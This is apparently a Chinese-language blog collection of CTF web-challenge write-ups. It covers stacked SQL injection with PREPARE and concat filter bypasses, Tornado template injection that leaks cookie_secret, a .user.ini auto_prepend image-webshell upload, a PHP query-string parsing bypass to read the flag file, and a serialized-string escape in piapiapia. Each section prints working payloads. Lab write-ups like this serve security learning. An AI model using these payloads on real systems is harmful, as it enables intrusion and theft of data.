[强网杯 2019]随便注
先尝试普通的注入
发现注入成功了,接下来走流程的时候碰到了问题
发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update,delete,insert这些sql语句呢?
原来这题需要用到堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入,而堆叠注入可以执行任意sql语句
这下就好理解了,过滤上面那些语句应该是防止我们改数据,先看看堆叠注入的效果
inject=1';show databases;#
显示了所有的表,我们找到含有flag的表,这里可以用之前学的desc查看:)
接下来又碰到问题了,过滤了select怎么查数据?没事,sql中还有预编译的语句:
SET @tn = 'hhh'; 存储表名
SET @sql = concat('select * from ', @tn); 存储SQL语句
PREPARE sqla from @sql; 预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句
解法1:
concat把s,elect,* from `1919810931114514`这三个进行拼接,如下:
inject=1';use supersqli;SET @sql=concat("s","elect"," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
解法2:
可以用十六进制的select然后再用char转换成字符绕过过滤,用concat进行拼接,如下:
SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`"); 存储语句
PREPARE sqla from @sql; 预定义sql语句
EXECUTE sqla; 执行sql语句
payload:
inject=1';use supersqli;SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
easy_tornado
这是一道SSTI模板注入的题
挨个点进去看看吧,flag.txt:
welcome.txt:
hints.txt:
收集到一些信息:
- 首先每一个txt文件后面都跟了一个md5加密的filehash,而这个加密过程在hints.txt中
- flag在fllllllag里,看来是要我们读这个文件
- render这个东西
- 只要知道了cookie_secret,就能构造url读flag
如果直接读flag,会跳转到error页面
如果我们尝试修改msg的值,会发现能输出
后来知道这题考的是SSTI模板注入
{{ … }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% … %}:装载一个控制语句。
{# … #}:装载一个注释,模板渲染的时候会忽视这中间的值
在贴一篇文章方便理解:传送门
例如传递{{1+1}}这个参数,就会输出传递的变量,会显示2,在本题中却会返回服务器错误,不过在tornado模板中,存在一些可以访问的快速对象,就是handler.settings
得到了cookie_secret,然后构造filehash就能得到flag了
import hashlib
def md5(s):
md5 = hashlib.md5();
md5.update(s)
return md5.hexdigest()
def gethash():
filename = '/fllllllllllllag'.encode('utf-8') #注意这里要加上/
f='3bf9f6cf685a6dd8defadabfb41a03a1'.encode('utf-8') #f是filename的md5
cookie_secret = '4a3d2302-20e6-4e71-8b42-ffc6369121b2'.encode('utf-8')
print(md5(cookie_secret + f))
gethash()
EasySql
除此之外什么也没了,fuzz了一下,发现除了一些符号和select基本上全被过滤了,
当输出了1时,显示了一个数组,再尝试看能不能输出多个数字
尝试输出数据库
不过过滤的真的太多了,用正常的注入肯定是不行了
看了wp才知道原来这题也是用了堆叠注入,直接
1;show tables;
但是这题连Flag都给过滤了,即使想用预编译绕过也得把from放出来吧,所以这条思路应该走不通了
时隔多天再看这道题==
先来看看这个:
sql把0和每一个username的值进行了或运算,还需要了解一下sql_mode是什么:
mysql数据库的中有一个环境变量sql_mode,定义了mysql应该支持的sql语法,数据校验等
可以通过set sql_mode=PIPES_AS_CONCAT
来把管道符看成是concat,也就是拼接符号,再来看看:
在每一个name前加了一个0输出,但是,有什么用?我先传入一个2;
输出了2,如果把分号去掉:
变成了1,可以证明两点:
- 分号的有无会影响输出的结果,并且可以正常输出–>这个query前面被自动加上了select
- 加上分号,原样输出,是因为把后面的语句给闭合了,而当不加分号时,会输出1,
假设sql语句是这样:select 2;
=2,select 2 || ***;
=1,正好是实际的结果
也就大致可以判断sql语句为:select 'query' || flag from flag ;
,当然这里的flag也有一点猜测
再用上面说的方法,就可以把0和flag一起输出了
1;set sql_mode=PIPES_AS_CONCAT;select 0
实际上在sql语句中为:
select 1;set sql_mode=PIPES_AS_CONCAT;select 0 || flag from flag;
所以我们要在第三个语句中加上select,看看结果:
[SUCTF 2019]CheckIn
来到一个上传页面,除此之外啥也没有了
随便先上传个图片马2.jpg,因为这里过滤了<?,所以用script绕过:
GIF98
<script language='php'>
phpinfo();
</script>
得到文件路径:
但是没有可以包含的点,后来又尝试了一下发现.htaccess文件是可以上传的,但是.htaccess文件必须在根目录下才能生效,但是同时也知道了不是白名单过滤,下面涨涨姿势吧:.user.ini
首先,php.ini是我们很熟悉的php配置文件,这些配置又可以分为以下四类,看一下官方解释:
看到PHP_INI_USER这个模式,可以在ini_set、windows注册表、以及.user.ini中设定,再来看看这个
这样就弥补了.htaccess只能在根目录下的缺陷,我们能自定义的配置选项只有:
PHP_INI_PERDIR 、 PHP_INI_USER
,不过在php.ini的配置列表中有以下两个,均为PHP_INI_PERDIR,但是这两个配置有什么用吗?
简单的说,prepend就是指定一个文件,在要执行的文件前先包含,而append就是先执行后包含
因为之前上传的时候有一个index.php文件,所以我们就可以利用.user.ini在执行index.php之前或之后进行包含,接下来是利用了,其实这里任选一个都行,指定要包含的文件
在上传123.jpg的图片马,得到路径,带上index.php这一执行文件进行包含图片马
成功包含
据说这只是个签到题…
参考文章:
传送门
[RoarCTF 2019]Easy Calc
在源代码找到calc.php,访问看到代码:
但是输入phpinfo()没过滤却不能执行
测试了一下应该只允许输入数字,那怎么办?
有必要了解一下php字符串解析漏洞:
PHP会将URL或body中的查询字符串关联到$_GET或$_POST。例如:/?foo=bar代表Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)
PHP在接受参数名时,需要将怪异的字符串转换为一个有效的变量名,因此当进行解析时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
参考文章:freebuf
那我们就自己试一下:
先是正常的php解析函数:
如果我们在num前面加上空格:
可以看到效果和不加空格一样
回到题目,如果我们传:空格num,在url传参中是个不同的参数,所以绕过了只能输入非数字,而字符串解析却是一样的,也能执行代码
我们传参cacl? num=phpinfo()
剩下的只有一些简单的过滤了,可以用反码也可以用chr函数解析ascii码绕过,这里采用第二种
? num=var_dump(scandir(chr(47)))
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag{2b06307a-63b7-408b-9e24-b3336bfc1e79}
[0CTF 2016]piapiapia
首先看一下这个,对一个数组进行序列化,然后进行过滤替换,将单引号替换为no
先来看看正常结果
然后在pho后加上一个单引号
转换为no之后与长度4对应不上,反序列化时报错,看起来很正常,但是如果稍加改动,我们就能使它不报错,并且能改动后面固定的数据
首先假设我们要将固定数据ebe改成beee,那么常规思路肯定是闭合双引号然后加上我们恶意的数据
像这样pho";i:1;s:4:"beee";}
,但是好像并没用
我们最重要的是要加上";i:1;s:4:"beee";}
数据,但是如果直接在pho后加,序列化之后会把它当成一整个字符串,我们也可以看到数据的长度自动变成了21,恰好是pho";i:1;s:4:"beee";}
的长度
但是在过滤的函数中'
->no
,也就是本来一个字符的数变成了两个字符
先数一下";i:1;s:4:"beee";}
的长度,是19
,如果我们在pho后面先加上19个单引号,再跟上构造的数据";i:1;s:4:"beee";}
然后此时序列化的长度就变成了39,然后经过转换,'
->no
,又多出来了19个字符,此时的序列化应该是这样的:
原始数据:a:2:{i:0;s:39:"pho'''''''''''''''''''";i:1;s:4:"beee";}";i:1;s:3:"ebe";}
经过转换:a:2:{i:0;s:39:"phonononononononononononononononononono";i:1;s:4:"beee";}";i:1;s:3:"ebe";}
但是序列化的长度为39啊,所以只能匹配39个长度,他就把phonononononononononononononononononono
全部匹配,后面的";i:1;s:4:"beee";}
成功逃逸
看一下结果
懂了这个点之后我们再来做题吧
首页是一个登陆页面
扫一下得到www.zip,下载得到源码
先看一下config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
可以看到flag就在config.php中,继续看其他的
register.php页面没什么利用点,直接注册一个登陆进去,来到update.php
update.php,就是更新用户信息,然后有过滤
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
仔细一点可以发现在3个if语句的过滤中有一个独秀:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
只要有一个不满足条件即可跳过die,其中第二个strlen($_POST['nickname']) > 10
可以用数组绕过
那么nickname
就可以随便控制了,而且最后会把$propfile
也就是我们的更新信息序列化
,然后调用update_profile
方法,貌似跟上面的例子有点联系了吼
接着看其他的先,update之后来到profile.php页面
看看profile.php源码
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
在最后一行看到了base64_encode(file_get_contents($profile['photo']))
我们或许可以利用这个读config.php,不过这里的参数是photo,也就是我们上传的文件,我们只能控制nickname,怎么让photo=config.php呢,往下看,来到class.php
我这里就放几个关键的吧,有在update里序列化之后调用的方法update_profile()
,就是过滤
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
过滤方法如下:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
第一个过滤/\'|\\/
,第二个过滤/select|insert|update|delete|where/
,好了,先序列化再过滤,上面的反序列化方法就能用了
我们先来看看序列化的结果:
a:4:{s:5:“phone”;s:11:“15112312123”;s:5:“email”;s:9:“[email protected]”;s:8:“nickname”;a:1:{i:0;s:3:“kk1”;}s:5:“photo”;s:39:“upload/a5d5e995f1a8882cb459eba2102805cd”;}
我们要利用的是photo,而nickname可控,首先构造我们的序列化数据:
";}s:5:"photo";s:10:"config.php";}
数一下,总共34个,那么我们就需要用过滤替换制造34个多余的字符,看一下过滤,只有where被hacker替换之后会多出一个字符,那么我们就用34个where
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:“photo”;s:10:“config.php”;}
传入之后会变成:
a:4:{s:5:“phone”;s:11:“15112312123”;s:5:“email”;s:9:“[email protected]”;s:8:“nickname”;a:1:{i:0;s:?:“kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:“photo”;s:10:“config.php”;}";}s:5:“photo”;s:39:“upload/a5d5e995f1a8882cb459eba2102805cd”;}
过滤之后变成:
a:4:{s:5:“phone”;s:11:“15112312123”;s:5:“email”;s:9:“[email protected]”;s:8:“nickname”;a:1:{i:0;s:?:“kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker”;}s:5:“photo”;s:10:“config.php”;}";}s:5:“photo”;s:39:“upload/a5d5e995f1a8882cb459eba2102805cd”;}
这样就能控制photo了,在update页面抓包,nickname改成数组形式
发过去
图片的base64解密就是config.php